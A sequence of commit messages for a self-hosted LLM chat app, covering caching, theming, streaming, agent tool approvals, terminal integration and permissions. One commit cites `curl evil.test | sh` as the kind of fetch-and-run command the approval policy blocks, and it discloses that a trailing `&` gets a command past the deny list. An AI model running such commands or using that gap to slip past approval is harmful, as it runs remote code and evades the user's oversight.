New markup over an old stylesheet
Reported from a desktop browser: a stray close button beside the logo, badly drawn, and a page that would not scroll. None of it was in the code that was running -- it was the code the browser had not fetched. The worker caches /static/ under a cache named for the release while the files in it carried no version, and a page is fetched network-first. That only ever worked because the worker used to seize every open tab the instant it installed and wipe the old cache. 1.1.0 stopped it doing that, rightly -- it was swapping stylesheets out from under a streaming reply -- and a momentary mismatch became a permanent one: new markup over the previous release's CSS for as long as the old worker lived. `.sidebar__close` had no rule there, so `.btn--icon` made it inline-flex: visible everywhere, placed by nothing. Every /static/ URL carries the release now, written by `templating.asset` and precached by `sw.js:versioned` -- both halves, because caches.match compares the query too and precaching the bare path would cache entries nothing requests. Self-correcting: updating is enough. The header was also a brand with a button appended and margin-left:auto doing the placing, which holds exactly while that button is last. Two slots now: a brand that shrinks and truncates, and a rail on the trailing edge. Verified before changing anything: with the current stylesheet the button is display:none at 1280 and, with thirty chats and forty messages, both scrollers scroll. The first measurement said the thread did not -- that was scroll-behavior: smooth reporting where it started. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> |

An instance that can be somebody else's
A name, a tagline, a logo, a favicon and the launcher icons derived from it; the Middle-earth strings as data; themes as token sets; and a stylesheet for what none of that reaches. All four are on one page, in one settings group. The snapshot is a Jinja global over a process-level cache, because render() has no session and four render paths never reach it at all -- the sign-in page, the error pages, the offline page and the SSE fragments. A context value would have had to be threaded through every one and would still have missed those. It being a global is also what lets mark() branch on an uploaded logo without any of its six call sites learning about branding; the macro that renders the sidebar link is called brandlink now, because a macro imported as `brand` shadows the global for the whole template and took out every page at once. Defaults in code and overrides in the database, as the prompt fragments do, with one difference stated in the module: an empty fragment means off, an empty flavour string means the shipped wording. And blanked rather than dropped -- settings_store.update merges, so an omitted key leaves what was stored last time and "I typed the default back in" would store something different from "I changed nothing". A custom theme sets a handful of tokens and inherits the rest, and the inheritance is a CSS fact: tokens.css matches [data-base="shire"] as well as [data-theme="shire"], so a custom light theme lands on parchment rather than four light colours on near-black. Values are validated on read rather than on save, because a theme written straight into the settings table still has to produce a stylesheet that parses -- a `}` in a value ends the rule and silently breaks every rule after it. The soft variants are derived from the accent, or a changed accent leaves focus rings in the old hue and reads as half-working. /branding.css is a route, not an inline block: an external stylesheet has no HTML context to escape from. The link carries a content hash, so a save is not left to the browser's cache, and it is deliberately outside the service worker's precache list, which is versioned by the release. The instance name moved off /admin/general rather than being duplicated there. An upgrade keeps it: the general row is read as a seed exactly while the branding row has never mentioned the name, which is `key in row` and not `row[key] is truthy` -- the two read alike would resurrect the old name underneath a cleared one. The theme list stops being a hard-coded pair in five places. Every failure mode in that area is silent, so it is driven under a DOM stub as well as tested.

A reply you can read while it is still being written
Seven things, and the thread running through them is that the machinery was right and what a person saw of it was not. Auto asked about every compound command. `policy.subject` refuses to let any pattern match a line carrying a shell metacharacter -- correct, and the whole reason `git *` cannot also mean `git status; curl evil.test | sh` -- and a rule on top of that asked whenever a deny list existed at all. The shipped deny list is non-empty, so `cd build && make` and `pytest | tail` both stopped for approval in the one mode whose purpose is not stopping. Nobody read that as a security control; they read it as Auto not working. It is gone, and what it costs is written down beside it and under the admin field: a deny pattern can be walked past with a trailing `&`. Matching each segment would restore both. A forty-round agent reply rendered as three zones -- all the thinking, then every tool block, then all the prose -- which is fine at two rounds and unreadable at forty. `Message.steps_json` is a table of contents over the three stores rather than a fourth copy of any of them, so `build_messages`, compaction and titling still see one string. No marks means the old layout, which is what every existing row reads back, with no version flag and no branch in the template. Nothing could be expanded while a reply streamed, and that was two faults. The tool list was replaced wholesale twelve times a second, so an opened block shut itself within 80ms; the ids are stable now and steps.js puts them back, across the final swap as well. And the thread snapped to the bottom on every frame, so a block that did open was scrolled off -- opening one now stops it following until you scroll back down yourself. Both driven under a DOM stub before committing, per the note in CLAUDE.md. The metrics were never wrong, which is why this looked like arithmetic and was not. One chip is what the reply cost and the other is what the conversation occupies; on a multi-round reply those differ by a lot and neither said which it was. What was broken is that they stood still -- usage arrives once a round, and `reported or estimated` stops consulting the estimate the moment the first chunk lands -- and that the `~` marking an estimate vanished at exactly the point everything became one. Interpolated between counts now, never over them. Background jobs had no surface at all. A chip counting what is still running and a panel with each job's command, state, log tail and a Stop button; the fifth exception to "the modes govern the model, not the interface", for the reason the other four are. file_edit had two faults worth more than the error text. A file it could not read was reported to the model as an empty one, and a file too large to read whole was patched and written back by a call that replaces -- deleting everything past the ceiling, silently, and reporting success with a byte count. Both refused now. A refused hunk also prints the file around where it landed, which is most of the retry loop these models get into. And a model can talk itself to a standstill: a round with no tool calls is a model saying it has finished, so pages of "Ready? GO! ... Wait ... Actually ..." ended the reply having done nothing. `core.commit` is the prompt half and a second nudge signal is the other, narrowed to a long reply that touched nothing so that finishing is never argued with. Also: the scope menu is called Toggle and no longer offers to type an `@` for you, and "Always allow this" says when it has stored nothing rather than appearing to work.

Say what a tool did, not where it ran
An agent event set its label to the SSH profile's name, so the transcript read "homeserver · ls -la" -- naming the machine rather than the thing that was done. Built-in tools set no label at all and fell back to the function name, so a saved memory read "memory_add". The status line said "Running shell_run…" and the approval card had its own hand-written wording. Four places, four answers, nothing checking that any of them agreed. services/tool_labels.py is the one table all of them read now. Bash, Read, Write, List, Web search, Memory saved; an icon each, instead of everything being the sparkle. The precedence is inverted on purpose. Tool events are persisted in Message.tool_calls_json, so every agent row already on disk carries the profile name -- a resolver that preferred the stored value would fix nothing for any transcript that already exists. So a name the table knows resolves from the table, and a name it does not -- a custom HTTP tool, an MCP tool, whose labels are per row and cannot be tabulated -- keeps its own. One rule, both cases correct. The machine moves to `detail`, where "where this ran" belongs. tool_label and tool_icon are Jinja globals because a message bubble is rendered from four handlers, and a fifth thing each of them must remember to pass is a fifth thing one of them will forget.

The menu that never appeared, and the reason it never did
composer.js built its menu lazily inside show(), and refresh() wrote list.innerHTML before calling it. `list` is null until build() has run, so the first `/` or `@` ever typed threw a TypeError and took the handler with it. The menu has never appeared in any browser. That is why /compact "isn't there": nothing was. I shipped it having only run `node --check`, which parses the file happily. So this also brings the thing that catches it: a DOM stub driven under node -- not committed, hard rule 1 stands, it is an instrument like curl. It reproduced the crash in one run and immediately found two more: choosing a command from the menu left `/help` sitting in the box so the next Enter ran it again, and Tab completed nothing. Tab now completes and Enter runs, which is the split that matters for a command taking an argument. `.select--sm` was used three times and defined nowhere. I deleted the copy in chat.css and left a comment saying it "is defined once, in app.css", where it did not exist -- so those selects fell back to plain `.select`: width 100% in a flex row where four siblings wanted the same, all of them shrinking together until each was a few characters wide, and half a rem taller than everything beside them. That was the whole of "the connection switch needs to be wider". The connection and directory move to the topbar. They cannot change -- update_chat refuses both with a 409 -- so they are facts about the chat, of a kind with the Temporary badge, not controls on the message. The mode stays by the box. Compaction says it is working. It makes a model call that takes seconds and had no indicator anywhere: `hx-indicator` appears nowhere in this codebase, and the Generation.status channel that says "Summarising earlier messages…" for the automatic path cannot be borrowed, because it lives in the streaming bubble and this endpoint refuses to run while any message is unfinished. The overflow menu now runs the same code as /compact rather than posting for itself, so there is one implementation, one spinner, and one place the endpoint's four carefully written 409s finally reach somebody. /effort, low medium high, per chat with a per-model default. It goes out twice because there is no field that works everywhere: OpenAI and vLLM read reasoning_effort, llama.cpp's own docs say other values "have no effect" and its maintainer says the field "simply gets dropped without error or logging" -- what reaches gpt-oss behind it is chat_template_kwargs. Both are sent, and only once an effort has been chosen, so a provider strict about unknown parameters sees exactly the request it always did until somebody opts in. The control appears only on a model marked `reasoning`, a flag that has existed since the beginning with no reader at all. Mentions and recognised commands are marked as you type -- a mirror behind the textarea holding the same text with every character transparent, contributing nothing but a rounded rectangle, so a pixel of drift is a misplaced rectangle rather than a doubled glyph. A command is marked only when it resolves, so `/thoughts on this` visibly is not one before you send it. And again in the transcript, where user turns had no render step at all and now escape before they inject. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> |

The terminal learns where one command ends, and can be dragged wider
"The last command and its output" was not something the panel could honestly offer. sendToChat took the last forty rows of the screen buffer, hard-wrapped at the terminal's width with no way to tell a wrap from a newline -- its own comment said so. So bash and zsh are given the OSC 133 markers VS Code and WezTerm use, and Copy, Send and an Auto toggle are built on those. The integration is written by the PTY command string itself, with printf. sshd runs that string through $SHELL -c, so it can case on the shell's own name and needs no probe, no second channel and no writable home. Passing it through the environment does not work -- every distribution ships AcceptEnv LANG LC_*, so anything else is dropped silently -- and feeding `source ...` in as keystrokes races a slow .zshrc, echoes into the scrollback and lands in shell history. Nothing needs hiding, which is the point of choosing it: the setup runs before the shell exists and never writes to the PTY's input side, so there is nothing to echo and no fan-out gate to build. Two things were wrong in the first version and both were found by running it against real shells rather than the fake one. bash: the DEBUG trap fires before every simple command *including each one inside PROMPT_COMMAND*, so $? read from there is whatever ran a moment ago -- every command reported success. The status is captured in the trap now, which also removes the two-entry PROMPT_COMMAND dance entirely. zsh: $ZDOTDIR is already ours by the time .zshenv runs, so the shims were sourcing themselves and none of the user's configuration loaded; the original is passed on the exec line. Parsing is server-side. The `behind` path resets the terminal and replays a truncated scrollback, so a client parser routinely sees a finish with no start; two tabs share one shell and can disagree; and what comes out of this ends up inside a prompt, so deriving it here leaves nothing to disbelieve. The bytes are fanned out unchanged -- xterm consumes an OSC it has no handler for. Output is bounded head and tail, 48KB and 16KB: a build that fails ten megabytes in has the invocation at the top and the error at the bottom. Carriage returns collapse to the last state of each line, which is the difference between a usable prompt and two megabytes of spinner. The fence is sized to its content, because output containing three backticks would otherwise break out and read as prose. Any shell that is not bash or zsh starts exactly as it did before. The buttons then scrape the screen and say so, and Auto is disabled rather than degraded: forty arbitrary lines on every message is worse than nothing. Also a generic [data-resize] handle, keyboard included, persisted the way the theme is. The inspector and sidebar can have it whenever they want it.

Show what a reply cost, live and afterwards
Tokens, how full the context is, and tokens per second -- as chips under each assistant bubble, updating while the reply streams and still there when it finishes. The numbers come from one Metrics object built either from the generation still being written or from the row it left behind. That is the point rather than tidiness: the finished bubble is re-rendered from the database the instant the stream ends, so two code paths would make the figures visibly jump at exactly the moment someone is watching them. Here the only thing that changes is that an estimate may become exact. Message.usage_json has existed and been dead since the schema was written. It is the store. Two counts that look like one. prompt and completion are summed across tool rounds -- what the reply cost. context_tokens is overwritten each round with that round's prompt plus completion -- what the window actually holds. A three-round reply pays for its prompt three times and only ever occupies the window once, so a single number would be wrong for one of the two questions. Generation gains started_at as a field rather than a local in _run, because _follow is a different function that sees only the Generation and otherwise has nothing to compute a live speed against. It also carries a prompt estimate taken before the first chunk, since real usage arrives in one chunk at the very end and a percentage that appears only after the reply is useless. Everything is marked with a tilde when the endpoint reported nothing, and the percentage is simply absent when no context length is set: unknown has to stay tellable from small, and a percentage of an unknown total is a made-up number in a place people trust numbers.

Users, groups, permissions, model settings and reasoning display
Four features, plus the schema machinery they needed. **Schema sync.** The first live instance had data in it, and create_all only creates missing *tables* -- a new column silently never appeared. db/migrations.py now diffs the declared models against the database and ALTER TABLE ... ADD COLUMN for what is missing, deriving a backfill default from the column type (SQLite refuses a NOT NULL column without one, and a Python-side `default=dict` cannot be expressed in DDL). Verified against a copy of the live database: eight changes applied, all rows preserved, second run a no-op. Renames, drops and retypes are still manual and say so. **Permissions.** A flat set of named booleans: an instance baseline widened by each group the user belongs to. A group grants and never denies -- with denies, "why can this user not do X" cannot be answered without simulating every group. Admins bypass entirely, because an admin can grant it back to themselves in two clicks and pretending otherwise is theatre. Model *access* is separate: public, or granted to groups. The picker is not the boundary -- switching a chat to a model you cannot reach is a 403. **Model settings.** Ordering, pinned-first, an instance default and a per-user default, display names, descriptions, capability flags, and uploaded images. Images are stored and served locally rather than by URL: a remote URL makes every page render a request to a third party. Uploads are validated by magic number, not the declared content type, and stored under a random name. Models with no image get a generated initial whose hue is derived from the model id, so it is stable. **Reasoning display.** Streams into its own collapsible block above the answer, labelled "Thought for 14 seconds", collapsed once finished, and never replayed as context on the next turn. Two sources: the reasoning_content delta field, and <think> tags inline in content -- the latter needs a streaming splitter because the tags arrive split across chunks. Models emitting no reasoning show nothing, via a :has() rule rather than JavaScript. Verified against qwen35-9b on llama-swap: 694 reasoning events, 52 answer tokens, cleanly separated. Two bugs found and fixed while testing: - A bare `Mapped[list]` relationship is treated by SQLAlchemy as a scalar and returns None instead of []. It needs the element type. - FastAPI substitutes the default for an empty form value, so with `x: str | None = Form(None)` a submitted `x=` is indistinguishable from an absent field. That silently broke clearing a system prompt or a temperature. update_chat now reads the raw form and checks key presence. 143 tests, ruff clean.

Working chat: auth, connections, streaming, folders
LLeMbas now runs end to end. Register, add an OpenAI-compatible connection, and hold a real streaming conversation organised into folders. Verified against the local llama-swap instance. Streaming is the one genuinely tricky part. Sending a message returns two HTML fragments -- the user bubble and an empty assistant bubble carrying an sse-connect -- and that attribute is the ONLY thing that starts a generation. Rendering an incomplete assistant message as a streaming shell falls out of the same template, which means loading a page whose last reply never finished simply picks it up again. Details worth knowing about, each commented where it matters: - SSE payloads are split across several data: lines. A raw newline in one data: line truncates the event, which shows up the first time a model emits a code block. - Markdown is rendered server-side by the same helper for both the page and the final streamed frame, so the two cannot disagree. The fence renderer is replaced outright rather than using markdown-it's highlight option, which re-wraps output in a second <pre>. - escape_text is html.escape, not nh3.clean_text: it escapes character by character, so escaping stream chunks separately equals escaping the whole string. - The stream opens its own session via session_scope(); it outlives the request handler and the dependency-scoped session may be closed. - Deleting a folder keeps the chats inside it (FK is SET NULL). Losing a conversation to a mis-clicked folder delete is unforgivable. - Login failures use one message for "no such account" and "wrong password" so the form cannot enumerate registered addresses. Also adds deploy/ for the gamebox install at https://chat.lan: system unit, nginx vhost with buffering off (buffering on turns streaming into one lump at the end), and install/update scripts following the same service-user and /srv bind-mount conventions as llama-swap and comfyui. 70 tests, ruff clean.
